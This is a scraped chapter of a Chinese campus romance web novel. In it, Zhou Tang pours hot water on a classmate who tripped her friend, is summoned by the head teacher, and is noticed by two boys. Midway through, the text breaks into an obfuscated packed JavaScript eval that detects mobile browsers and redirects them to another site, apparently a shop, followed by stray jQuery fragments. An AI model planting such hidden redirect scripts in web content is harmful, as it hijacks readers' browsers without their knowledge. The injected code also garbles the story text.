6. 期末周

作品:《里外

    青春大多数时候是由无关痛痒的小事组成的,并不全是轰轰烈烈的大事。生活其实普通又平淡,今天多云明天晴。日子像倒置的沙漏一样,在每周必备的小测验中慢慢度过、流逝。


    课桌上是堆砌如山的各科模拟卷。


    窗外绿树成荫,寂静处间歇听到的几声蝉鸣预示着陵和的盛夏即将到来。


    同样来临的还有期末考试复习。


    这场考试说重要也不重要,但作为迈入高二的序幕,也算是一个比较关键的节点。


    许逢滢还是十分负责任地在班级里强调。


    “众所周知,我们陵高的管理较为宽松,不像二中等其他学校那么严格。”


    “但是如果这次成绩单发下来,分数非常不尽如人意的话,我也不介意来当这个坏人,向领导申请九月份开学前的地狱补课,起码一周!”


    顿时,班上响起此起彼伏的抗议声。


    不过没什么用。


    因为许逢滢刚说完,就打开了电脑里的文档,班级同学们的名字按照一定顺序排列好。


    她让所有人主动到讲台前确认考试目标,精确到各科分数和年级排名。


    已经过去了两周的时间,周棠不再像一开始那么疏离话少,纪桑南也能和她聊上几句。


    她看了眼表格,在草稿纸上哼哧哼哧地列竖式,计算出分数总和,扭头问:“周棠,你觉得年级前一百大概需要多少分啊?”


    周棠答:“分数水涨船高,你得问他们前面的人这次想考多少分。”


    听到这话,纪桑南幽幽地叹口气,“哎不管了,我随便写啦,反正是目标嘛,设置高一点也没有关系的,说不定许老师还会夸我志向远大。”


    “难道你就是动漫中描写的逻辑鬼才!”


    周棠干笑两声,把自己上次周测计算的各科分数情况表拿出来,放到纪桑南眼前,提醒道:“你可以按这个分数大概估算一下,误差会小。”


    “好吧,谢谢,还好有你。”


    纪桑南快速算完,轮到她的时候,她走上台,敲击电脑键盘输入整合好的目标分数。


    讲台前面的位置有小一块台阶,要比教室地面的高度多出一点。


    纪桑南弄完走下来,会经过桌椅两边的过道。


    她匀速走着,没低头看,突然感觉脚踝那里被什么东西拦了一下,她整个人开始重心不稳地往前扑,挣扎几下,先落地的变成裙摆下方的膝盖。


    “咚——”


    一道闷响。


    尖锐的疼痛从骨头那里传来,大脑一时无法思考前因是什么,只知道身上好多处地方蔓延开滞重的疼,还有掌心也窜过火辣辣的刺痛。


    纪桑南摔得有些厉害,周棠第一时间蹲下身去搀扶她的胳膊,好半晌,她才找到支点,艰难地爬起来。


    站稳后,她抬头望着周棠,眼睛像小兔子那样红,嘴角也委屈巴巴地耷拉着。


    纪桑南说不出话,一言不发地坐回到自己的位置上。


    周围还有好事的同学在侧目打量,刚刚的始作俑者却连声道歉都没说出口。


    纪桑南的头迅速低下去,紧紧贴着桌面趴着。


    几秒钟过去,周棠看到她用双手捂住脸,肩膀小弧度地颤了颤,同时耳边传来细细的呜咽。


    抽泣的声音轻得像一只奶猫,不靠近都难以发现。


    很快,下课铃响。


    纪桑南保持着这个姿势没有动弹,周棠从她座椅后面的缝隙里挤出去,走的时候顺手带上了她放在书桌侧边的保温杯。


    三四分钟的样子,周棠回来了,她把保温杯拧开,在杯盖里面到了一半的热水,放温后递到纪桑南手边。


    纪桑南仍然保持着把自己埋起来的姿势,不抬头也不接水。


    内耗的鹌鹑也不过如此。


    周棠盯着她侧颊被眼泪沾湿的发丝。


    黏答答的,毫无形象可言。


    周棠的声音变得凉凉的,对她说:“多喝点水,不然再哭不出来。”


    “……周棠。”


    纪桑南的脑袋露出来一半,额头被手臂压着的地方印出了红痕,她皱着眉,似乎更委屈了。


    她嘴角向下,嘟囔着:“你一点都不会安慰人。”


    “那是因为从这事情发生的一开始,你的逻辑便不对了。”周棠回她。


    以周棠的性格,她并不觉得遭遇这种倒霉的事情只能依靠哭一顿来发泄,既憋屈还不能够更快地解决问题。如果换做是她,她会先从地上爬起来,扭过头去询问究竟是哪位不长眼的绊倒她,还那么没礼貌,连道歉也没被父母教过吗?


    “你应该学会反击,而不是躲在这里哭,纪桑南,是因为你这么好欺负,所以才会被欺负。”


    学生时代的恶意简单又直白,善良者越是退让,越会亲手给别人递去一把肆意伤害自己的利刃。


    道理平平无奇,在这件事情真正发生之前,周棠就已经明白了。


    她也知道有些人并非天性懦弱,只是太容易站在对方的立场上去考虑问题,以致于光是迈出那一步就足够艰难了,遑论主动反击。


    积蓄勇气也是需要鼓励和时间的。


    意料之中的,纪桑南听完后垂下眼,摇摇头低声说出真实想法:“我不敢的。”


    “我知道,但是你不能一直任由他们这样。”


    说着,周棠拎起刚拧开但没有顺便盖好的水杯,里面还剩下半杯冒着热气的水。


    纪桑南没有转过弯,眨巴两下眼睛,嘴张得圆圆的,迟钝地“啊”了声。


    没等她反应过来周棠现在想要做什么事时,周棠已经直接绕过同侧的两排椅子,抬脚上前,看准距离和位置,开始倒扣水杯。


    “哗啦——”


    水倒完的空档,周棠的眉眼云淡风轻地扫过去,她一言不发,却气场凛然。


    热水从杯口倾泻而下,淋湿了桌面上那一沓厚厚的复习试卷,也迸溅到坐在桌子前的同学手上,手背更是激起一片烫红,随之到来的是女生刺耳的尖叫声。


    她淑女形象全无,腾起离座,骂道:“周棠,你是不是疯了!我惹你了嘛!”


    周棠扯着唇角,发出哂笑,语气过于平稳甚至到了无动于衷的地步,她说:“没有。”


    “我要去告诉许老师,别以为你们家以前住在陵和,就妄想能在陵高为所欲为!我必须得问问是谁给你的特权在学校里欺负同学?”


    女生拔高音量,向前想撞开她走向班级门。


    周棠微微侧开身,主动给她让出一条路。


    “你没惹我,同样的,纪桑南也没惹你。”


    周棠收回倒完水的杯子,继续说:“你记清楚,是孙其浩先在背后议论我。”


    女生被毫不留情面地戳穿,脾气爆炸,试图通过声量的高低来吸引全部同学的注意力。


    “我和孙其浩根本就不熟,你自己去问啊,班级里谁见过我和他走得近了?”


    “你凭什么往我身上泼脏水?”


    忽地,数道目光齐齐地聚过来。


    周棠连手都没抖一下,她不疾不徐地说:“我没有说你认识孙其浩,也没有说你和孙其浩相熟,因为和你谈恋爱的人不是孙其浩,是那天站在他旁边的林子坤,对吗?谷今璇同学。”


    尾音落到末尾,周棠刻意加重了她名字的发音,一字一顿挑明。


    虽然在陵高谈恋爱的人比比皆是,但不少同学还是传统的主攻各科学习的考试型选手。


    这种事情暗地里能够在小团体间玩得开,摆在明面上只会变成尴尬又幼稚的过家家行为。


    谷今璇气得胸脯一鼓一鼓的,早起耳边喷过定型喷雾的那一缕碎发都要竖起来。


    和周棠对峙几秒,最后恨恨推开她,头也不回地离开班级。


    周棠没有被负面的激动情绪左右,也没有觉得这口气出得有多么的爽,相反,她叹了口气,其实有点儿不希望事情发展到如今这个地步。


    但是当真的发生时。


    她相信自己也有能力去面对。


    周棠拿好水杯转身,承受着班级后面大范围投过来的探究的目光。


    回到座位上,纪桑南看着她,眼神流露出的情绪是有些不知道应该说什么的意思。


    可想起周棠毕竟是为了她出头,才间接得罪的谷今璇。


    她揉了揉哭得酸胀的眼眶,怯怯地说:“周棠,对不起。”


    “道哪门子的歉?”


    “我……”纪桑南想解释,被周棠打断。


    她说:“这次扯平了,成吗?游泳馆那天你帮我说了话,今天我也帮你找了回来。”


    “所以,你别再——”


    纪桑南受惊了一样,脖子伸过来,急得抬手捂着周棠的嘴不想让她再接着说话,神色明显慌张。


    “你是不是想说,从今天开始,你要和我划清界限了,周棠。”


    闻言,周棠笑了下,轻轻用手碰掉纪桑南的掌心。


    “你又想多了,我是要说你不用再和我说对不起了。”


    “哦这样啊。”


    纪桑南战战兢兢地收回手,感觉满意了,脑袋靠过来,倒在周棠的肩膀上。


    她嘴里不忘称赞道:“周棠,你真好。”


    接下来的两节课是物理和化学的复习课,两位老师在讲台上帮助同学们做最终版本的思维导图梳理,整节课讲下来,老师们慷慨激昂,就是不知道下面的同学们究竟能掌握多少。


    周棠在笔记本上分区记笔记,划分的依据大致是擅长的和需要巩固背诵的,以及还没有理解的问题内容。


    物理公式写到一半,周棠抬头看了眼前面谷今璇的位置,她从出去后就没再回来。


    午餐休息,谷今璇还是没有出现。


    中途只有许逢滢在第三节英语课的时候到班级里来问了谷今璇的情况,同学们晃着脑袋表示不清楚,她又抱着电脑匆匆离开。


    最后一个课间,许逢滢派了隔壁班的语文课代表过来传话,女生敲了敲前座的第一扇玻璃。


    靠近的那位同学拉开窗户。


    课代表唇瓣微动,音色泠泠如泉,“帮我叫一下你们班的周棠,许老师找她。”


    “现在吗?”


    “不是,许老师说是放学后在办公室等她。”


    说话的音量不低,话传到周棠这里,话意已经变了味,变成了许老师知道了周棠上午课间对谷今璇做的事,准备喊她到办公室里兴师问罪。


    前排有几个人偷听完就在讲小话。


    纪桑南为周棠打抱不平,她自己反而不太在意,压住纪桑南要起身的动作。


    “别节外生枝,不关他们的事儿。”


    “等课结束,我陪你一起去吧,我向许老师讲清缘由,本来是和你没关系的。”纪桑南有些焦虑,一个劲儿地搓着手指头。


    周棠瞧见她这样,“算了吧,你先回家,明天告诉你结果,行吗?”


    拉扯几个来回,纪桑南终于被劝住。


    五点多,铃声准时打响,各个楼层的同学鱼贯而出。周棠装好书包,在教室门口和纪桑南分道扬镳。


    教师办公室在对面的那幢楼,陵和的教学楼大多是这种布局。


    绕过中央的天井,一层是阶梯教室,用来给参加省里比赛的同学使用,顶层是课后活动的排练室。


    再往下一层,是教导主任在教学区的办公室,其余楼层分别是班主任和任课老师的集中办公室。


    许逢滢教学经验丰富,带过好多届高三毕业班,每次又都会回过去重新从高一带起。


    她负责语文科目的教学,获得过许多校级、省级的表彰以及全国优秀教师的奖项。


    现在主带两个班,是四班的代课老师。


    被派来通知周棠的女生就是四班的语文课代表。


    叶楚宜。


    名字听起来很熟悉,校内的作文典范报纸正面经常会出现她。


    以铅字印刷的形式。


    周棠还是在上次的测验之后,才把这个名字和她的脸对上号的。


    叶楚宜通常有一股优等生的气质,头发扎起来,柔顺的发丝与白净的皮肤相得益彰。


    她走路时脊背挺直,活脱脱一棵四季轮换却永不改变的小白杨树。


    亭亭玉立的身姿,美当然是美的,只不过总带着点旁人望而却步的疏离感。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992790|193798||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    办公室门外响起了两三下敲门声,门内坐着的许逢滢应了句:“进来。”


    周棠推开门,走过去站在办公桌半米远的位置,余光注意到后边还有一位别班的老师。


    许逢滢没开口,手里握着红笔正在批改试卷,周棠也没主动问什么。


    一时之间,办公室安静到只有笔尖戳在纸面上的沙沙声。


    几分钟过去,那位老师拎起棕色小皮包,路过的时候和许逢滢说了声再见。


    许逢滢抬起眼回应她,然后放下笔,看着站在面前的周棠。


    许逢滢翘起腿,环抱着手臂,语气严肃道:“来,说说吧,你们几个之间发生什么事了?一五一十地全部告诉我。”


    “不是我。”


    周棠解释这么一句。


    许逢滢推了推鼻梁上的眼镜,“那我换一种方式问你,谷今璇没来上课的事情和你有没有关系?”


    周棠说:“有。”


    “那就行了。”


    许逢滢重重拍了两下桌子,“周棠,你现在最要紧的事情是什么,你真的清楚吗?”


    “我根本没有和他们搅和在一起。”周棠把事情摊开讲,“游泳馆那天……”


    许逢滢没给她机会说,“那天的事情我全部都知道了,我了解错肯定是不在你,我只是不愿意你参与进去,换句话说,你的成绩我很看好。”


    “我作为班主任,更是作为你外婆的学生,我想提醒你,我不希望他们的任何动作影响到你。”


    周棠低下头,沉默了一会儿,轻声辩解:“可是我不认为错的人是我。”


    许逢滢见她倔强劲上来,拿起红笔,挥了挥手,走之前让她晚上回去好好反思一下。


    周棠转身出去,办公室的门再次被关上,许逢滢改试卷的手停了,解锁手机拨通了某个号码。


    大约半个多小时这通电话才结束。


    教学楼外的天色暗了几分,晚风凉凉的,周棠心里有些躁意。


    她背着书包走下楼梯,经过高一年级的荣誉榜,里面用红色的A4纸张贴着好几位同学的捷报。


    周棠垂着眼睛,视线一下子就落到了物理竞赛的特等奖上,那里有一张一寸的证件照。


    证件照下面两行写着的是她的名字。


    高一(5)班,周棠。


    人生宣言:


    向邓美琼女士学习,拥有坚韧的力量。


    陵高校图书馆的走廊两边挂着邓美琼的照片,寥寥数语介绍了她的生平与伟大贡献。


    周棠卧室的床头柜上也摆放了一个相框,上面是她和邓美琼女士的合照。


    照片里,邓美琼女士还算年轻,她的笑容总是温婉雅致,她亲切地揽着周棠的肩膀。


    朝暮更迭。


    如今她变成了相册本里小小的一页。


    周棠想起外婆,自然也想起了自己的名字,“四海应无蜀海棠,一时开处一城香。”的“棠”。


    外婆那本皮革封面的日记本里是这么记录的:


    蜀中海棠的独特与盛放之态,气象恢宏,景致视野开阔,无纤柔之意,尽显大气之美。


    2002年2月18日出生,今取名为棠。


    是我送给她的第一份礼物。


    陷入过去翻涌的回忆,周棠久久地伫立在那儿,直到身后响起有些耳熟的说话声音,在还没确认是谁的时候,她已经下意识地扭头看了过去。


    教学楼一层。


    邵弋青左手拿着校服外套,踮脚跳起来,胳膊搭在靳谈的肩头,舌抵了下腮边,正揶揄他。


    “真行啊,怎么又有初中部的学妹过来给你送东西,她们好像更喜欢你这款欸?”


    “下次你再用学生卡刷门禁赚钱,我和你之间就到此为止,绝交。”


    靳谈闲散地笑了声,说出口的语句平铺直叙,偏偏语调带着几分漫不经心的凉薄。


    邵弋青尴尬地舔着唇,意识到自己玩砸了,胳膊从他身上拿下来,主动坦白道:“最后一次,今天过去就再没有了,我这也是看人家学妹求我那么多天,何况拿人手短,我才勉强答应的啊。”


    “没办法,就是太善良了我。”说着,邵弋青脸上做出非常惋惜的表情。


    靳谈迈步向前走,视线斜过去瞥他一眼,喉结上下滑动,吐出一个字:“滚。”


    他们两个人并肩而行,快要走到小路尽头,刚准备拐弯,邵弋青抬眼注意到了站在荣誉榜旁边的周棠。


    天边晚霞的光芒暂未烧尽,他眯了一下眼,感觉这女生有那么点儿熟悉。


    不过他没想起来在哪里见过。


    脚步走过分岔路口,邵弋青眉梢忽然一挑,他想起来了,那天在篮球场,他往人群中扫过几圈。


    她当时肯定也在里面。


    “哎,我说刚才路过的那女孩长得还挺漂亮的,怎么以前没见过几次,也不知道她是几班的?”


    “靳谈,娇滴滴的小学妹你不喜欢,那,那种类型的呢?你有感觉吗?”


    邵弋青边说边转过脚尖,吊儿郎当地倒着走,与靳谈面对面,眸光却落在刚经过的路口没有移开。


    他高中上学期开学到现在还没有恋过爱,但对长得漂亮的女生向来有过目不忘的本领。


    美人嘛,喜欢就多看两眼。


    无伤大雅。


    靳谈没回头,面无表情道:“你无不无聊?还是脑子里只有这点事儿?”


    “你要这么说的话那肯定不是啊,女孩算一个,篮球也算一个。”刚说完,邵弋青就吹了声明快的口哨音,义正言辞地替校篮球队的自己正名。


    靳谈不再浪费时间搭理他。


    邵弋青追上去,话没停。


    “哥们儿,我说实话,你有时候对女孩是不是冷淡得有点过分了,要不是我和你认识时间这么久,一直相信你是板板正正的——”


    “算了,我不说了,明天得让谁打听一下那女孩哪个班的。”


    邵弋青自顾自地说着。


    走到大门口,靳谈脚步停顿,回头往高一年级的教学楼那里看了一眼。


    蓦然,他脑海中画面一闪。


    似乎是想起了什么。